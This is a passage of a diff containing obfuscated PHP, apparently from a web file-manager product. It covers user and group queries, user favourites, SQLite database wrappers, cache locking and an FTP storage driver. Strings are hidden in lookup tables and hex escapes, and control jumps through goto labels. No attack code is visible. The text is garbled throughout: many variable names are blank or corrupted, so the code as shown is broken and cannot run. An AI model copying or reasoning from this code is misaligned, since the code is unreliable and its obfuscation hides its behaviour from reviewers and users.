$this->getInfoSimple($); if (!$ೳ || empty($ꜳ)) { return !1; } $ߌĉ = array(); foreach ($ꜳ as $ߝ => $) { $ߌĉ[] = array($÷[1676] => $, $÷[1865] => $ߝ, $÷[1969] => $, $÷[1889] => 0); } return Model($÷[1955])->addAll($ߌĉ, array(), !0); } protected function userGroupRemove($ܺ, $) { $ =& $_SERVER[ö]; $ = $this->getInfoSimple($ܺ); if (!$ || !$) { return !1; } $ԇ = array($[1667] => $ܺ, $[1953] => $); return Model($[1955])->where($ԇ)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[ö][369]]); return $; } public function listByID($) { $ç =& $_SERVER[ö]; if (!$) { return; } $ɽ = array($ç[1676] => array($ç[7], $)); $é = $this->where($ɽ)->select(); $é = array_sort_keep($é, $ç[1676], $); $this->_listDataApply($é); return $é; } public function listByGroup($ = 0, $Ǖ̪ = array()) { $ =& $_SERVER[ö]; $Ӌ = $[12]; $ = array(); if ($) { $ = array($[2343] => intval($)); $Ӌ = "\x4c\105\x46\124\40\x4a\117\111\116\40{$this->tablePrefix}\165\163\x65\x72\x5f\147\x72\x6f\165\160\x20\x75\163\x65\x72\x5f\147\162\157\x75\160\x20\157\x6e\40\165\163\145\162\x2e\x75\x73\x65\162\x49\104\x20\x3d\40\x75\x73\x65\162\x5f\147\x72\x6f\165\x70\56\x75\163\145\162\111\104"; $Ͱ = Input::get($[457], null, $[12]) ? $[12] : $[2344]; } if (isset($Ǖ̪[$[756]])) { $[$[2345]] = $Ǖ̪[$[756]]; } $͡ = $this->_makeOrder($Ͱ)->field($[2346])->where($)->join($Ӌ)->selectPage(50); $this->_listDataApply($͡[$[369]]); return $͡; } private function _makeOrder($ = '') { $ =& $_SERVER[ö]; $Ư = array($[1676], $[32], $[1854], $[1826], $[200]); $ = array($[450] => $[451], $[452] => $[453]); $ί = Input::get($[457], $[7], $[1667], $Ư); $۴Ԁ = Input::get($[458], $[7], $[1956], array($[1956], $[452])); $۴Ԁ = $[$۴Ԁ]; $ = $ . "\x75\163\x65\x72\x2e{$ί}\40{$۴Ԁ}\54\x20\x75\163\145\x72\x2e\165\x73\145\x72\x49\104\x20\141\x73\x63"; return $this->alias($[2078])->order($); } public function listSearch($) { $ =& $_SERVER[ö]; $ = $[$[1959]]; $ = isset($[$[1960]]) ? $[$[1960]] : !1; $ = str_replace($[1961], $[1962], trim($)); $ׂ = array($[32] => array($[383], "\45{$}\x25"), $[305] => array($[383], "{$}\x25"), $[542] => array($[383], "{$}\x25"), $[1014] => $[1963]); if (Input::check($, $[311])) { $ׂ[$[1676]] = array($[383], "{$}\x25"); $ׂ[$[2328]] = array($[383], "{$}\45"); } if (!$) { $ׂ = array(); } if (isset($[$[756]])) { $ׂ[$[756]] = $[$[756]]; } $ׂ = $this->parseWhereLike($ׂ); $ = $this->_makeOrder()->where($ׂ)->selectPage(20); if (!$ || count($[$[369]]) < 5 && Input::check($, $[318])) { $ = $this->_searchFromMeta($[464], $, 10); $Հ = $this->_searchFromMeta($[465], $, 10); $ = array_merge($, $Հ, $[$[369]]); $[$[369]] = array_unique_by_key($, $[1676]); $[$[366]][$[367]] = count($[$[369]]); $[$[366]][$[368]] = ceil($[$[366]][$[367]] / $[$[366]][$[363]]); } $this->_listDataApply($[$[369]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$, $ij) { $ڂ =& $_SERVER[ö]; if (!$ij) { return $; } foreach ($[$ڂ[369]] as $ȥ => &$ֆ) { $ǃ = array_to_keyvalue($ֆ[$ڂ[2048]], $ڂ[12], $ڂ[1865]); if (!in_array($ij, $ǃ)) { unset($[$ڂ[369]][$ȥ]); } } unset($ֆ); $[$ڂ[369]] = array_values($[$ڂ[369]]); $[$ڂ[366]] = array($ڂ[2112] => count($[$ڂ[369]]), $ڂ[2110] => $[$ڂ[366]][$ڂ[363]], $ڂ[2109] => 1, $ڂ[2111] => 1); } private function _searchFromMeta($ˮ, $µ, $ݹʼn) { $¢ =& $_SERVER[ö]; $µ = strtolower($µ); $Ϊ = array($¢[94] => $ˮ, $¢[374] => array($¢[383], "\45{$µ}\45")); $Ϊ = $this->parseWhereLike($Ϊ); $ = Model($¢[2347])->where($Ϊ)->limit($ݹʼn)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $¢[12], $¢[1676]); $ = $this->where(array($¢[1667] => array($¢[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $ǧ = array($); $this->_listDataApply($ǧ); return $ǧ[0]; } private function _listDataApply(&$) { $ =& $_SERVER[ö]; if (!$) { return; } array_remove_key($, $[903]); $Ʋ = array_to_keyvalue($, $[12], $[1676]); $this->_listAppendGroup($, $Ʋ); $this->_listAppendMeta($, $Ʋ); $this->_listAppendSourceRoot($, $Ʋ); } private function _listAppendSourceRoot(&$, $) { $۟ =& $_SERVER[ö]; $̪܇ = Model($۟[831])->listSourceRoot(SourceModel::TYPE_USER, $); $̪܇ = array_to_keyvalue($̪܇, $۟[505]); $̪܇ = array_remove_key($̪܇, $۟[505]); foreach ($ as &$) { $[$۟[86]] = $̪܇[$[$۟[1676]]] ? $̪܇[$[$۟[1676]]] : array(); } unset($); } private function _listAppendGroup(&$Ŋ뙃, $߄) { $ =& $_SERVER[ö]; $Ҿ = array($[1676] => array($[7], $߄)); $ = Model($[1955])->where($Ҿ)->select(); $ = array_to_keyvalue($, $[12], $[1865]); $ = array_remove_value(array_unique($), $[197]); if (!$ || !$) { return; } $Ҿ = array($[1865] => array($[7], $)); $슖볒 = Model($[2046])->field($[2348])->where($Ҿ)->select(); $슖볒 = array_to_keyvalue($슖볒, $[1865]); $ = array_to_keyvalue_group($, $[1676]); foreach ($ as &$ʁ) { $ҧ = array(); foreach ($ʁ as $͂) { if (!$͂[$[1969]]) { continue; } $͕ = Model($[507])->listData($͂[$[1969]]); $ҧ[] = array($[1865] => $͂[$[1865]], $[2349] => $슖볒[$͂[$[1865]]][$[32]], $[521] => $슖볒[$͂[$[1865]]][$[521]], $[413] => $͕); } $ʁ = $ҧ; } unset($ʁ); foreach ($Ŋ뙃 as &$ϔŞ) { $ϔŞ[$[2048]] = array(); if (isset($[$ϔŞ[$[1676]]])) { $ϔŞ[$[2048]] = $[$ϔŞ[$[1676]]]; } } unset($ϔŞ); } public function userAppendGroup($ҿ) { $ߎ =& $_SERVER[ö]; if (!$ҿ) { return array(); } $this->_listAppendGroup($ҿ, array_to_keyvalue($ҿ, $ߎ[12], $ߎ[1676])); return $ҿ; } private function _listAppendMeta(&$Ύ, $Ͷė) { $ư =& $_SERVER[ö]; $ = UserJobModel::JOB_KEY; $ = array($ư[2329]); $ذ = array($ư[1676] => array($ư[7], $Ͷė)); $ӅӋ = Model($ư[2327])->where($ذ)->select(); $ӅӋ = array_to_keyvalue_group($ӅӋ, $ư[1676]); foreach ($ӅӋ as &$Ⳕ) { $ӻ = array(); foreach ($Ⳕ as $Ӈ) { if (!in_array($Ӈ[$ư[94]], $)) { $ӻ[$Ӈ[$ư[94]]] = $Ӈ[$ư[374]]; } } $Ⳕ = $ӻ; } unset($Ⳕ); $ = Model($ư[2350]); foreach ($Ύ as &$ݛ) { $ = array(); if (isset($ӅӋ[$ݛ[$ư[1676]]])) { $ = $ӅӋ[$ݛ[$ư[1676]]]; } $ݛ[$ư[2351]] = array(); if (isset($[$])) { $ݛ[$ư[2351]] = $->getUserJobInfo($[$]); } } unset($ݛ); } protected function groupUserAll($Ѡ) { $ʅ =& $_SERVER[ö]; if (!$Ѡ) { return !1; } $ = Model($ʅ[1955])->field($ʅ[1676])->where(array($ʅ[1865] => array($ʅ[7], $Ѡ)))->select(); $ = array_to_keyvalue($, $ʅ[12], $ʅ[1676]); return array_unique($); } public function userSearch($݉, $ = "\52") { return Model($_SERVER[ö][535])->where($݉)->field($)->find(); } } goto DǍ; f声: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\x66\141\166"; protected function cacheFunctionAlias($) { $ĝ =& $_SERVER[ö]; return array($ĝ[1976] => array($ĝ[2355] . USER_ID, $ĝ[1977])); } protected function listData() { $ۅ =& $_SERVER[ö]; $ = array($ۅ[1667] => USER_ID, $ۅ[484] => array($ۅ[1980], 0)); $ŧ = $ۅ[2356]; $ץӍ = $this->field($ŧ)->where($)->order($ۅ[1983])->select(); return $ץӍ ? $ץӍ : array(); } protected function addToTag($ௐ, $) { $ۧמ =& $_SERVER[ö]; if (!Model($ۧמ[2120])->listData($)) { return !1; } if (is_numeric($ௐ)) { $ڰ = Model($ۧמ[831])->pathInfo($ௐ); if (!$ڰ) { return !1; } } else { $ڰ = IO::infoSimple($ௐ); if (!$ڰ) { return !1; } $ = $ڰ[$ۧמ[32]]; $۽ = $ڰ[$ۧמ[33]]; if (isset($ڰ[$ۧמ[410]])) { $۽ = $ڰ[$ۧמ[410]] == $ۧמ[88] ? $ۧמ[75] : $ۧמ[199]; } } $Ț = array($ۧמ[1667] => USER_ID, $ۧמ[484] => $, $ۧמ[421] => $ௐ, $ۧמ[422] => $۽ ? $۽ : $ۧמ[416], $ۧמ[420] => $ ? $ : $ۧמ[12], $ۧמ[1869] => 0); if ($this->where($Ț)->find()) { return !1; } return $this->add($Ț); } protected function removeFromTag($, $ݍ) { $ =& $_SERVER[ö]; if (!Model($[2120])->listData($ݍ)) { return !1; } if (is_array($)) { $ = array($[7], $); } $Ω = array($[1667] => USER_ID, $[484] => $ݍ, $[421] => $); return $this->where($Ω)->delete(); } protected function removeByTag($) { $䀪 =& $_SERVER[ö]; if (!$) { return !1; } $М = array($䀪[1667] => USER_ID, $䀪[484] => $); return $this->where($М)->delete(); } protected function removeBySource($Ǵӟ) { $ߊ =& $_SERVER[ö]; if (is_array($Ǵӟ)) { $Ǵӟ = array($ߊ[7], $Ǵӟ); } $ = array($ߊ[1667] => USER_ID, $ߊ[484] => array($ߊ[1028], 0), $ߊ[421] => $Ǵӟ); return $this->where($)->delete(); } }
\ No newline at end of file
+ goto aт; bϭ: define($_SERVER[][238], 1); define($_SERVER[][239], 2); define($_SERVER[][240], 3); goto D; Aƽ٘: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $Ѯ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$Ѯ[6]] =& $config; $this->values[$Ѯ[7]] =& $in; $this->tpl = TEMPLATE . MOD . $Ѯ[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ = new ReflectionClass($); $ = func_get_args(); array_shift($); $this->{$} = $->newInstanceArgs($); } return $this->{$}; } public function routeBind($;ŝ, $, $ԍ = 3) { $¨̝ =& $_SERVER[]; $ = $this->in[$¨̝[9]]; $;ŝ = str_replace($¨̝[10], $¨̝[11], trim(trim($;ŝ, $¨̝[8]), $¨̝[12])); if (!$;ŝ || count($) <= $ԍ) { return !1; } $ۿ = !0; $Ț = explode($¨̝[8], $;ŝ); for ($ = 0; $ < count($Ț); $++) { if ($Ț[$] != $[$ԍ + $]) { $ۿ = !1; break; } } if (!$ۿ) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $) { return array(); } $ = array(); for ($ݫ = $; $ݫ < count($); $ݫ += 2) { $[$[$ݫ]] = $[$ݫ + 1]; $this->in[$[$ݫ]] = $[$ݫ + 1]; } return $; } protected function assign($ѳ, $עݴܐ) { $this->values[$ѳ] = $עݴܐ; } protected function display($̳) { ob_end_clean(); extract($this->values); require $this->tpl . $̳; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ѽ =& $_SERVER[]; if (!extension_loaded($ѽ[13])) { think_exception(think_lang($ѽ[14]) . $ѽ[15]); } if (!empty($)) { if (!isset($[$ѽ[16]])) { $[$ѽ[16]] = 438; } $this->config = $; if (empty($this->config[$ѽ[17]])) { $this->config[$ѽ[17]] = array(); } } } public function connect($ހ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($ހ)) { $ހ = $this->config; } $Ȕ = !empty($ހ[$[17]][$[18]]) ? $ހ[$[17]][$[18]] : $this->pconnect; $͵ = $Ȕ ? $[19] : $[20]; $this->linkID[$] = $͵($ހ[$[21]], $ހ[$[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($ڛ) { $ʇ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ڛ; if ($this->queryID) { $this->free(); } think_action_status($ʇ[25], 1); think_status($ʇ[24]); $ = sqlite_exec($this->_linkID, $ڛ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ѵ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$Ѵ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $̵ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$̵) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($إղ) { $ٻ =& $_SERVER[]; $ף = $this->query($ٻ[29] . $إղ . $ٻ[30]); $ǖۼ = array(); if ($ף) { foreach ($ף as $η֥ => $) { $ǖۼ[$[$ٻ[31]]] = array($ٻ[32] => $[$ٻ[31]], $ٻ[33] => $[$ٻ[34]], $ٻ[35] => (bool) ($[$ٻ[36]] === $ٻ[12]), $ٻ[37] => $[$ٻ[38]], $ٻ[39] => strtolower($[$ٻ[40]]) == $ٻ[41], $ٻ[42] => strtolower($[$ٻ[43]]) == $ٻ[44]); } } return $ǖۼ; } public function getTables($ = '') { $ⅾ =& $_SERVER[]; $ = $this->query($ⅾ[45] . $ⅾ[46] . $ⅾ[47]); $徢 = array(); foreach ($ as $ => $) { $徢[$] = current($); } return $徢; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ѡ =& $_SERVER[]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $ѡ[4] . sqlite_error_string($); if ($ѡ[12] != $this->queryStr) { $this->error .= LNG($ѡ[48]) . $this->queryStr; } think_trace($this->error, $ѡ[12], $ѡ[49]); return $this->error; } public function escapeString($Ɉ) { return sqlite_escape_string($Ɉ); } public function parseLimit($) { $ʥۓ =& $_SERVER[]; $ = $ʥۓ[12]; if (!empty($)) { $ = explode($ʥۓ[50], $); if (count($) > 1) { $ .= $ʥۓ[51] . $[1] . $ʥۓ[52] . $[0] . $ʥۓ[53]; } else { $ .= $ʥۓ[51] . $[0] . $ʥۓ[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ۖ = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($ۖ)) { if (!isset($ۖ[$[16]])) { $ۖ[$[16]] = 438; } $this->config = $ۖ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ۈ = 0) { $Ȫ =& $_SERVER[]; if (!isset($this->linkID[$ۈ])) { if (empty($)) { $ = $this->config; } $this->linkID[$ۈ] = new SQLite3($[$Ȫ[21]]); if (!$this->linkID[$ۈ]) { think_exception($this->linkID[$ۈ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ۈ]->busyTimeout(30000); if (1 != think_config($Ȫ[22])) { unset($this->config); } } return $this->linkID[$ۈ]; } public function free() { $this->queryID = null; } public function query($ր) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ր; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($ր); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $逘 = $this->getAll(); $this->numRows = count($逘); return $逘; } } public function execute($˔) { $뢖 =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $˔; if ($this->queryID) { $this->free(); } think_action_status($뢖[25], 1); think_status($뢖[24]); $ = $this->_linkID->exec($˔); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $㳿 = $this->_linkID->query($_SERVER[][27]); if (!$㳿) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ӃĿ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $ӃĿ; } $this->queryID->reset(); return $; } public function getFields($) { $dz =& $_SERVER[]; $Ē = $this->query($dz[29] . $ . $dz[30]); $ = array(); if ($Ē) { foreach ($Ē as $ => $) { $[$[$dz[32]]] = array($dz[32] => $[$dz[32]], $dz[33] => $[$dz[33]], $dz[35] => (bool) ($[$dz[35]] === $dz[12]), $dz[37] => $[$dz[56]], $dz[39] => (bool) $[$dz[57]], $dz[42] => (bool) $[$dz[57]]); } } return $; } public function getTables($ʖ = '') { $ҟˑ =& $_SERVER[]; $⨦ = $this->query($ҟˑ[45] . $ҟˑ[46] . $ҟˑ[47]); $η = array(); foreach ($⨦ as $Ք => $) { $η[$Ք] = current($); } return $η; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $繈 =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($繈[12] != $this->queryStr) { $this->error .= LNG($繈[48]) . $this->queryStr; } think_trace($this->error, $繈[12], $繈[49]); return $this->error; } public function escapeString($) { $۶ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($۶[58], $۶[59], $); } public function parseLimit($) { $Ь =& $_SERVER[]; $ = $Ь[12]; if (!empty($)) { $ = explode($Ь[50], $); if (count($) > 1) { $ .= $Ь[51] . $[1] . $Ь[52] . $[0] . $Ь[53]; } else { $ .= $Ь[51] . $[0] . $Ь[53]; } } return $; } } goto dè; aՉ: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($߀, $) { $ =& $_SERVER[]; $this->cachePath = $߀[$[84]]; $this->prefix = $[838]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($褨) { $ =& $_SERVER[]; $褨 = str_replace(array($[839], $[97], $[73]), $[840], $褨); return $this->cachePath . $[841] . $褨 . $[842]; } public function set($, $, $˨ = false) { $˨ = $˨ ? $˨ : $this->cacheTime; $ѻ = $this->getFile($); if (file_put_contents($ѻ, $this->prefix . $, LOCK_EX)) { @touch($ѻ, intval(time() + $˨)); clearstatcache(); return !0; } @unlink($ѻ); return !1; } public function get($) { $ȯ = $this->getFile($); if (file_exists($ȯ) && filemtime($ȯ) < time()) { @unlink($ȯ); return !1; } $ = @file_get_contents($ȯ); return substr($, strlen($this->prefix)); } public function remove($) { $ـ = $this->getFile($); return @unlink($ـ); } public function deleteAll() { $ߊ =& $_SERVER[]; $ϒ = scandir($this->cachePath); foreach ($ϒ as $) { $ڴ = $this->cachePath . $; if (strpos($ڴ, $ߊ[842]) && strpos($ڴ, $ߊ[843])) { @unlink($ڴ); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $ӈ) { $ = $this->cachePath . $ӈ; if (strpos($, $[842]) && strpos($, $[843]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[349]]; self::$timeout = $[$[844]] ? $[$[844]] : 10; $ = _get($GLOBALS[$[6]], $[845]); $ʲՕ = $[$[831]] ? $[$[831]] : $[199]; if ($ʲՕ == $[21] && $ == $[13]) { $ʲՕ = $[199]; } switch ($ʲՕ) { case $[834]: self::$handle = new CacheLockRedis(); break; case $[835]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[199]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[846], $[847]); } return self::$handle; } private static function key($) { return $_SERVER[][848] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($쥄 = '') { self::$errorMsg = $쥄; } public static function lockGlobal($, $) { return self::lock($, $, !0); } public static function lock($, $텀ۍ = false, $ɀ = false) { $ =& $_SERVER[]; $㮀 = self::init(); $ͽ = self::key($); $텀ۍ = $텀ۍ ? $텀ۍ : self::$timeout; $Ӷ٪ = timeFloat(); $ = $㮀->lock($ͽ, $텀ۍ); $ = timeFloat(); if (!$) { $ = "\154\157\x63\153\40\145\x72\162\157\x72\73\x6b\145\171\x3d{$}\73\x74\151\155\x65\75{$텀ۍ}\73" . self::$errorMsg . $[71] . get_caller_msg(); $١ = LNG($[849]) . "\x28{$텀ۍ}\163\x29\x2e" . LNG($[850]); $١ .= $[851]; if (is_string(self::$errorMsg) && self::$errorMsg) { $١ = $١ . $[852] . self::$errorMsg; } write_log($[853] . sprintf($[854], timeFloat() - $Ӷ٪) . $[855] . $ . $[856] . error_get_last(), $[847]); show_json($١, !1); } if (!$ɀ) { self::$lockItem[$ͽ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $͑ = number_format(timeFloat() - $, 3); write_log($[857] . $ . $[858] . $͑, $[847]); } return $; } public static function lockGet($٢) { $ð = self::key($٢); if (self::$lockItem[$ð]) { return self::$lockItem[$ð]; } return self::init()->lockGet($ð); } public static function unlock($) { $ŵ =& $_SERVER[]; $ը = self::key($); self::$lockItem[$ը] = null; self::init()->unlock($ը); if (GLOBAL_DEBUG_LOG_ALL) { write_log($ŵ[859] . $, $ŵ[847]); } return; } public static function unlockRuntime() { $௰ =& $_SERVER[]; $Ťί = self::init(); $Ŕ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $Ťί->unlock($); if (!$Ŕ) { $Ŕ = !0; write_log($௰[860] . $ . $௰[71] . get_caller_msg(), $௰[847]); continue; } write_log($௰[860] . $, $௰[847]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($௰[861] . $ . $௰[862] . ACTION, $௰[847]); } } public static function fileLock($) { $ǎ =& $_SERVER[]; if (!$GLOBALS[$ǎ[863]]) { $GLOBALS[$ǎ[863]] = array(); } $GLOBALS[$ǎ[863]][$] = !1; $ѽ = fopen(DATA_PATH . $ . $ǎ[864], $ǎ[865]); if (!$ѽ) { return !1; } $GLOBALS[$ǎ[863]][$] = $ѽ; if (flock($ѽ, LOCK_EX)) { return !0; } self::unlock($); show_json($ǎ[866], !1); return !1; } public static function fileUnlock($) { $ɉ =& $_SERVER[]; $ż = $GLOBALS[$ɉ[863]][$]; if (!$ż) { return; } $GLOBALS[$ɉ[863]][$] = !1; flock($ż, LOCK_UN); fclose($ż); } public static function fileUnlockAll() { $¸ =& $_SERVER[]; if (!$GLOBALS[$¸[863]]) { return; } foreach ($GLOBALS[$¸[863]] as $ծ => $ؖϹ) { if (!$ؖϹ) { continue; } $GLOBALS[$¸[863]][$ծ] = !1; flock($ؖϹ, LOCK_UN); fclose($ؖϹ); } $GLOBALS[$¸[863]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto b; F: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; private $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ཁƏ =& $_SERVER[]; global $config; $this->appCharset = $config[$ཁƏ[1381]]; $this->systemCharset = $config[$ཁƏ[1382]]; if (isset($[$ཁƏ[1383]]) && $[$ཁƏ[1383]]) { $this->systemCharset = $[$ཁƏ[1383]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($ݝ) { $Đ =& $_SERVER[]; $ա = $this->iconvApp($this->pathBase); $ݝ = $this->iconvApp($ݝ); if (substr($ա, 0, 2) == $Đ[1384]) { $ա = BASIC_PATH . substr($ա, 2); } if (substr($ݝ, 0, 2) == $Đ[1384]) { $ݝ = BASIC_PATH . substr($ݝ, 2); } $ա = KodIO::clear($ա); $ݝ = KodIO::clear($ݝ); $ݝ = substr($ݝ, strlen($ա)); if (empty($this->pathDriver)) { return $ݝ; } return $this->pathDriver . $Đ[8] . ltrim($ݝ, $Đ[8]); } private function _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1385])) { throw new Exception(LNG($[1386])); } $this->config = $; $this->charsetReset($); foreach ($ as $ => $靌ƿ) { if (isset($this->{$})) { $this->{$} = $靌ƿ; } } return $this->_login($); } private function _login($ȝ) { $ =& $_SERVER[]; static $ƃ = array(); $ = md5(json_encode($ȝ)); if (isset($ƃ[$])) { foreach ($ƃ[$] as $ => $ۄ) { $this->{$} = $ۄ; } return !0; } $ꯦ = parse_url(trim($this->server, $[8])); $this->host = $ꯦ[$[181]]; $Æ = isset($ꯦ[$[180]]) && $ꯦ[$[180]] == $[1387] ? !0 : !1; $this->scheme = $Æ ? $[1388] : $[1389]; $this->port = isset($ꯦ[$[182]]) ? $ꯦ[$[182]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $Ӳ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ϝڨ = $this->pasv == $[88] ? !0 : !1; @ftp_pasv($this->connect, $ϝڨ); $ƃ[$] = array($[1390] => $this->connect, $[181] => $this->host, $[180] => $this->scheme, $[182] => $this->port); return $Ӳ; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $ޙ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $ޙ)) { return $this->getPathOuter($); } return !1; } public function mkdir($߃, $ŕϘ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $߃ = $this->iconvSystem($߃); if ($this->_isFolder($߃) || @ftp_mkdir($this->connect, $߃)) { return $this->getPathOuter($߃); } if (!$this->mkdir($this->pathFather($߃))) { return !1; } if ($߃ = @ftp_mkdir($this->connect, $߃)) { return $this->getPathOuter($߃); } return !1; } public function copyFile($Ĵ, $) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($Ĵ)); $Ě = $this->tempFile($); $ = $this->iconvApp($Ě); $this->download($Ĵ, $); $ = $this->upload($, $); $this->tempFileRemve($Ě); return $; } public function moveFile($٤, $) { if (!$this->_isconn()) { return !1; } $٤ = $this->iconvSystem($٤); $ = $this->iconvSystem($); $̡ = @ftp_rename($this->connect, $٤, $); return $̡ ? $this->getPathOuter($) : !1; } public function delFile($Ʒ) { if (!$this->_isconn()) { return !1; } $Ʒ = $this->iconvSystem($Ʒ); return @ftp_delete($this->connect, $Ʒ); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ȓ = $ɘ = array(); $this->fileList($, $ȓ, $ɘ, !0); $this->listItemCache = !0; foreach ($ɘ as $) { $ʙ÷ = $this->iconvSystem($[$_SERVER[][32]]); $ = @ftp_delete($this->connect, $ʙ÷); if (!$) { return !1; } } foreach ($ȓ as $ʙ÷) { $ʙ÷ = $this->iconvSystem($ʙ÷); $ = @ftp_rmdir($this->connect, $ʙ÷); if (!$) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($ܑ, $) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($ܑ), $); $ = $this->iconvSystem($); $ܑ = $this->iconvSystem($ܑ); $ = $this->pathFather($ܑ); $œ = rtrim($, $[8]) . $[8] . $; $Կѧ = @ftp_rename($this->connect, $ܑ, $œ); $œ = $this->iconvApp($œ); return $Կѧ ? $this->getPathOuter($œ) : !1; } private function folderInfo($яЄ, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($яЄ), $[84] => $this->getPathOuter($[8] . $яЄ), $[33] => $[75]); if ($) { return $; } $[$[200]] = $[$[85]] = 0; 